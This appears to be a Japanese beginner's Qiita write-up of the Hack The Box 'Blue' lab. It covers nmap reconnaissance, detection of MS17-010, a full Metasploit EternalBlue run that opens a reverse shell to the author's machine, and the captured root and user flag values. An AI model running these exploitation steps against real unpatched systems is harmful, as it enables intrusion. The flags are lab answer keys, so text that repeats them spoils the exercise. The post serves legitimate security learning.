2台目 <Hack the Box> Blue -Walkthrough-


# 自己紹介

Hack the box ど素人
ハッキングラボを終えて試す場としておすすめだということで始めました。

今回は経験者とお会いする機会をいただけたので、
教わったことのメモを残しておきたくQiitaを書いてみました。

教わったことを後日書いているので曖昧な箇所もあるかと思います。
自分用のメモではありますが、間違いや改善点などご指摘いただいたけたら幸いです。

# マシン

今回のマシンはBlue、難易度のグラフが右肩下がりで解いている人数も多かったので簡単かなと思い、選んでみました。

![Blue.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/685180/28fe1959-d761-6a70-7e64-8f7d5a6f63a4.png)

# nmap

まずはnmapで開いているポートを調べる。

```
root@kali:~# nmap -A -Pn 10.10.10.40
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-04 13:18 JST
Nmap scan report for 10.10.10.40
Host is up (0.25s latency).
Not shown: 992 closed ports
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=8/4%OT=135%CT=1%CU=42444%PV=Y%DS=2%DC=T%G=Y%TM=5F28E22
OS:0%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=109%TI=I%CI=I%II=I%SS=S%TS=
OS:7)OPS(O1=M54DNW8ST11%O2=M54DNW8ST11%O3=M54DNW8NNT11%O4=M54DNW8ST11%O5=M5
OS:4DNW8ST11%O6=M54DST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=200
OS:0)ECN(R=Y%DF=Y%T=80%W=2000%O=M54DNW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S
OS:+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%
OS:T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=
OS:0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%
OS:S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(
OS:R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=
OS:N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -16m26s, deviation: 34m35s, median: 3m31s
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2020-08-04T05:24:09+01:00
| smb-security-mode:                                                                                                                                                                                                                       
|   account_used: guest                                                                                                                                                                                                                    
|   authentication_level: user                                                                                                                                                                                                             
|   challenge_response: supported                                                                                                                                                                                                          
|_  message_signing: disabled (dangerous, but default)                                                                                                                                                                                     
| smb2-security-mode:                                                                                                                                                                                                                      
|   2.02:                                                                                                                                                                                                                                  
|_    Message signing enabled but not required                                                                                                                                                                                             
| smb2-time:                                                                                                                                                                                                                               
|   date: 2020-08-04T04:24:10                                                                                                                                                                                                              
|_  start_date: 2020-08-03T21:05:31

TRACEROUTE (using port 554/tcp)
HOP RTT       ADDRESS
1   253.33 ms 10.10.14.1
2   253.32 ms 10.10.10.40

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 129.08 seconds
```

webではないしftpでもないしどうしようかと考えていたところ445番が開いている。
これはsambaのポートと前回Lameをやったときに教えていただいたので脆弱性がないか調べてみる。

```

root@kali:~# nmap -Pn -script smb-vuln* -p 445 10.10.10.40
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-04 13:22 JST
Nmap scan report for 10.10.10.40
Host is up (0.32s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

Nmap done: 1 IP address (1 host up) scanned in 16.82 seconds
```

`VULNERABLE`が表示され、ms17-010という脆弱性があることがわかった。
経験者の方曰くこれがEternalBlueというやつらしい。

また、nmapをWindowsに使う際は`-Pnのオプションを入れたほうがいいかもしれない`とのこと。
Windowsはpingを飛ばさない可能性があるからだという。
ハッキングラボでもWindowsがpingを飛ばさなかったので設定したことを思い出した。

# metasploit
metasploitを使って侵入してみる。

```
root@kali:~# msfconsole
                                                  
                                              `:oDFo:`                            
                                           ./ymM0dayMmy/.                          
                                        -+dHJ5aGFyZGVyIQ==+-                    
                                    `:sm⏣~~Destroy.No.Data~~s:`                
                                 -+h2~~Maintain.No.Persistence~~h+-              
                             `:odNo2~~Above.All.Else.Do.No.Harm~~Ndo:`          
                          ./etc/shadow.0days-Data'%20OR%201=1--.No.0MN8'/.      
                       -++SecKCoin++e.AMd`       `.-://///+hbove.913.ElsMNh+-    
                      -~/.ssh/id_rsa.Des-                  `htN01UserWroteMe!-  
                      :dopeAW.No<nano>o                     :is:TЯiKC.sudo-.A:  
                      :we're.all.alike'`                     The.PFYroy.No.D7:  
                      :PLACEDRINKHERE!:                      yxp_cmdshell.Ab0:    
                      :msf>exploit -j.                       :Ns.BOB&ALICEes7:    
                      :---srwxrwx:-.`                        `MS146.52.No.Per:    
                      :<script>.Ac816/                        sENbove3101.404:    
                      :NT_AUTHORITY.Do                        `T:/shSYSTEM-.N:    
                      :09.14.2011.raid                       /STFU|wall.No.Pr:    
                      :hevnsntSurb025N.                      dNVRGOING2GIVUUP:    
                      :#OUTHOUSE-  -s:                       /corykennedyData:    
                      :$nmap -oS                              SSo.6178306Ence:    
                      :Awsm.da:                            /shMTl#beats3o.No.:    
                      :Ring0:                             `dDestRoyREXKC3ta/M:    
                      :23d:                               sSETEC.ASTRONOMYist:    
                       /-                        /yo-    .ence.N:(){ :|: & };:    
                                                 `:Shall.We.Play.A.Game?tron/    
                                                 ```-ooy.if1ghtf0r+ehUser5`    
                                               ..th3.H1V3.U2VjRFNN.jMh+.`                                                                                                                                                                  
                                              `MjM~~WE.ARE.se~~MMjMs                                                                                                                                                                       
                                               +~KANSAS.CITY's~-`                                                                                                                                                                          
                                                J~HAKCERS~./.`                                                                                                                                                                             
                                                .esc:wq!:`                                                                                                                                                                                 
                                                 +++ATH`                                                                                                                                                                                   
                                                  `                                                                                                                                                                                        
                                                                                                                                                                                                                                           
                                                                                                                                                                                                                                           
       =[ metasploit v5.0.87-dev                          ]                                                                                                                                                                                
+ -- --=[ 2006 exploits - 1095 auxiliary - 343 post       ]                                                                                                                                                                                
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]                                                                                                                                                                                
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Search can apply complex filters such as search cve:2009 type:exploit, see all the filters with help search

msf5 > search ms17-010

Matching Modules
================

   #  Name                                           Disclosure Date  Rank     Check  Description
   -  ----                                           ---------------  ----     -----  -----------
   0  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   1  auxiliary/scanner/smb/smb_ms17_010                              normal   No     MS17-010 SMB RCE Detection
   2  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   3  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
   4  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   5  exploit/windows/smb/smb_doublepulsar_rce       2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution

msf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT          445              yes       The target port (TCP)
   SMBDomain      .                no        (Optional) The Windows domain to use for authentication
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target.


Exploit target:

   Id  Name
   --  ----
   0   Windows 7 and Server 2008 R2 (x64) All Service Packs


msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhost 10.10.10.40
rhost => 10.10.10.40

msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 10.10.14.13:4444 
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445       - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Command shell session 1 opened (10.10.14.13:4444 -> 10.10.10.40:49160) at 2020-08-04 13:26:34 +0900
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

```

シェルが返ってきた。

# root

```
C:\Windows\system32>cd /
cd /

C:\>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A0EF-1911

 Directory of C:\

14/07/2009  04:20    <DIR>          PerfLogs
24/12/2017  03:23    <DIR>          Program Files
14/07/2017  17:58    <DIR>          Program Files (x86)
14/07/2017  14:48    <DIR>          Share
21/07/2017  07:56    <DIR>          Users
16/07/2017  21:21    <DIR>          Windows
               0 File(s)              0 bytes
               6 Dir(s)  15,460,323,328 bytes free

C:\>cd Users
cd Users

C:\Users>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A0EF-1911

 Directory of C:\Users

21/07/2017  07:56    <DIR>          .
21/07/2017  07:56    <DIR>          ..
21/07/2017  07:56    <DIR>          Administrator
14/07/2017  14:45    <DIR>          haris
12/04/2011  08:51    <DIR>          Public
               0 File(s)              0 bytes
               5 Dir(s)  15,460,323,328 bytes free

C:\Users>cd Administrator
cd Administrator

C:\Users\Administrator>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A0EF-1911

 Directory of C:\Users\Administrator

21/07/2017  07:56    <DIR>          .
21/07/2017  07:56    <DIR>          ..
21/07/2017  07:56    <DIR>          Contacts
24/12/2017  03:22    <DIR>          Desktop
21/07/2017  07:56    <DIR>          Documents
21/07/2017  07:56    <DIR>          Downloads
21/07/2017  07:56    <DIR>          Favorites
21/07/2017  07:56    <DIR>          Links
21/07/2017  07:56    <DIR>          Music
21/07/2017  07:56    <DIR>          Pictures
21/07/2017  07:56    <DIR>          Saved Games
21/07/2017  07:56    <DIR>          Searches
21/07/2017  07:56    <DIR>          Videos
               0 File(s)              0 bytes
              13 Dir(s)  15,460,323,328 bytes free

C:\Users\Administrator>cd Desktop
cd Desktop

C:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A0EF-1911

 Directory of C:\Users\Administrator\Desktop

24/12/2017  03:22    <DIR>          .
24/12/2017  03:22    <DIR>          ..
21/07/2017  07:57                32 root.txt
               1 File(s)             32 bytes
               2 Dir(s)  15,460,323,328 bytes free
C:\Users\Administrator\Desktop>type root.txt
type root.txt
ff548eb71e920ff6c08843ce9df4e717
```

# user

```
C:\Users>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A0EF-1911

 Directory of C:\Users

21/07/2017  07:56    <DIR>          .
21/07/2017  07:56    <DIR>          ..
21/07/2017  07:56    <DIR>          Administrator
14/07/2017  14:45    <DIR>          haris
12/04/2011  08:51    <DIR>          Public
               0 File(s)              0 bytes
               5 Dir(s)  15,460,323,328 bytes free

C:\Users>cd haris
cd haris

C:\Users\haris>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A0EF-1911

 Directory of C:\Users\haris

14/07/2017  14:45    <DIR>          .
14/07/2017  14:45    <DIR>          ..
15/07/2017  08:58    <DIR>          Contacts
24/12/2017  03:23    <DIR>          Desktop
15/07/2017  08:58    <DIR>          Documents
15/07/2017  08:58    <DIR>          Downloads
15/07/2017  08:58    <DIR>          Favorites
15/07/2017  08:58    <DIR>          Links
15/07/2017  08:58    <DIR>          Music
15/07/2017  08:58    <DIR>          Pictures
15/07/2017  08:58    <DIR>          Saved Games
15/07/2017  08:58    <DIR>          Searches
15/07/2017  08:58    <DIR>          Videos
               0 File(s)              0 bytes
              13 Dir(s)  15,460,323,328 bytes free

C:\Users\haris>cd Desktop
cd Desktop

C:\Users\haris\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A0EF-1911

 Directory of C:\Users\haris\Desktop

24/12/2017  03:23    <DIR>          .
24/12/2017  03:23    <DIR>          ..
21/07/2017  07:54                32 user.txt
               1 File(s)             32 bytes
               2 Dir(s)  15,460,323,328 bytes free
C:\Users\haris\Desktop>type user.txt
type user.txt
4c546aea7dbee75cbd71de245c8deea9
```

# 感想

今回は2個目のマシンだった。
やはり率直な感想としてはおもしろいなと感じた。

簡単なマシンで、前回と似たようなものではあったが、
助言なしでrootとuserを獲得できた。

WindowsをCUIで操作する経験がなかったのでcatやlsといったコマンドが入らなくて困ったので
OSによって違うことに注意したい。

拙い記事を最後まで読んでいただきありがとうございました。